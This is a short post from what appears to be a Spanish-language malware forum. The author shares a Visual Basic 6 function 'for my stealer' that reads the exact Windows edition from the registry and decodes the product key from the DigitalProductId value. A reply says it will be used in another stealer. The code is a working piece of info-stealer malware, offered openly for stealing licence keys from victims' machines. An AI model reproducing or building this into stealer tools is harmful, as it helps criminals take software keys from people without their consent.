Indetectables

Os dejo un codigo que hice para mi stealer, la mayoria de lo que hay por ay solo te dice que windows es y eso no es de gran ayuda , porque si tienes un windows 7 , cual es? ultimate? profesional? home? Con este codigo te dice la version exacta y su serial.

'****************************************************************
' // Autor : Kifo
' // Fecha : 11/03/10
' // Web : Indetectables.net
'****************************************************************
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Public Function WinVersion()
Dim ss As String
Dim clave As Long
Dim i As Long
Dim j As Long
Dim k As Long
Dim l(163) As Byte
Dim m(23) As Byte
v = Array("B", "C", "D", "F", "G", "H", "J", "K", "M", "P", "Q", "R", "T", "V", "W", "X", "Y", "2", "3", "4", "6", "7", "8", "9")

i = RegOpenKeyEx("&H80000002", "SOFTWARE\Microsoft\Windows NT\CurrentVersion", 0, &H3F, clave)
i = RegQueryValueEx(clave, "ProductName", 0&, k, 0&, j)
ss = String(j, 0)
i = RegQueryValueExString(clave, "ProductName", 0&, k, ss, j)
WinVersion = Left$(ss, j - 1)
ss = ""
RegCloseKey (clave)
WinVersion = WinVersion + " Key : "
i = RegOpenKeyEx(&H80000002, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", 0, &H3F, clave)
i = RegQueryValueEx(clave, "DigitalProductId", 0, 3, l(0), 164)
Call CopyMemory(l(0), l(52), &HF)
For i = 0 To 23
m(i) = Asc(v(i))
Next
For i = 24 To 0 Step -1
k = 0
For j = 14 To 0 Step -1
k = k * 256 Xor l(j)
l(j) = Int(k / 24)
k = k Mod 24
Next
ss = v(k) & ss
If i Mod 5 = 0 And i <> 0 Then ss = "-" & ss
Next
RegCloseKey (clave)
WinVersion = WinVersion + ss
End Function

Thank you, la usaré para mi stealer!